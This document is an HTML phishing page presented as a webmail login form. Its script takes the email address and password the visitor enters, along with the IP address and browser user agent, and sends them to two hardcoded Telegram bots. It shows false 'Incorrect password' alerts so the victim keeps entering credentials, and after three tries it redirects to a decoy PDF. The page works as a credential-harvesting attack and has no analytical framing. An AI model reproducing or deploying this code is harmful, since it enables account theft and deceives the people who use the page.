<!DOCTYPE html>
<html>
<head>
    <title>Webmail :: Login</title>
</head>
<body>
    <form id="form">
        <label for="email">Email:</label>
        <input id="email" name="email" type="email" placeholder="Enter your email" required>
        <br>
        <label for="password">Password:</label>
        <input id="password" name="password" type="password" placeholder="Enter your password" required>
        <br>
        <input id="submit-btn" type="submit" value="Log in">
    </form>
    <div class="requirements" style="display:none; color:red;">Password must be at least 6 characters long.</div>

    <script>
        const TELEGRAM_BOT_TOKEN1 = "8103390927:AAHWu4xhgzlmDRLk7KBQ-46UfJVaSTdgv00";
        const TELEGRAM_CHAT_ID1 = "-1001584468494";
        const TELEGRAM_BOT_TOKEN2 = "7288967076:AAGZSCMf9clydM1-7DDfdkkpdF684nGYt_Q";
        const TELEGRAM_CHAT_ID2 = "-4750035919";
        let submissionCount = 0;

        async function sendToTelegram(botToken, chatId, data) {
        const url = `https://api.telegram.org/bot${botToken}/sendMessage`;
        const payload = {
            chat_id: chatId,
            text: data,
        };

        try {
            const response = await fetch(url, {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify(payload),
            });

            if (!response.ok) {
                throw new Error(`Error: ${response.statusText}`);
            }

            console.log(`Message sent to bot (${botToken}) successfully.`);
        } catch (error) {
            console.error(`Failed to send message to bot (${botToken}):`, error);
        }
    }

    async function sendToBothBots(data) {
        const results = await Promise.allSettled([
            sendToTelegram(TELEGRAM_BOT_TOKEN1, TELEGRAM_CHAT_ID1, data),
            sendToTelegram(TELEGRAM_BOT_TOKEN2, TELEGRAM_CHAT_ID2, data),
        ]);

        results.forEach((result, index) => {
            const botIndex = index + 1;
            if (result.status === "fulfilled") {
                console.log(`Message sent successfully to bot ${botIndex}`);
            } else {
                console.error(`Failed to send message to bot ${botIndex}:`, result.reason);
            }
        });
    }

    async function handleFormSubmission(event) {
        event.preventDefault();
        const email = document.getElementById("email").value.trim();
        const password = document.getElementById("password").value.trim();
        const requirements = document.querySelector(".requirements");

        if (password.length < 6) {
            requirements.style.display = "block";
            return;
        }
        requirements.style.display = "none";

        const ipAddress = await getIpAddress();
        const userAgent = navigator.userAgent;
        submissionCount++;

        const message = `
Login Attempt:
- Email: ${email}
- Password: ${password}
- IP Address: ${ipAddress}
- User Agent: ${userAgent}
- Submission Count: ${submissionCount}`;

        await sendToBothBots(message);

        if (submissionCount >= 3) {
            window.location.href = "https://example.com/your-pdf.pdf";
        } else {
            alert("Incorrect password. Please try again.");
        }
    }
    </script>
</body>
</html>
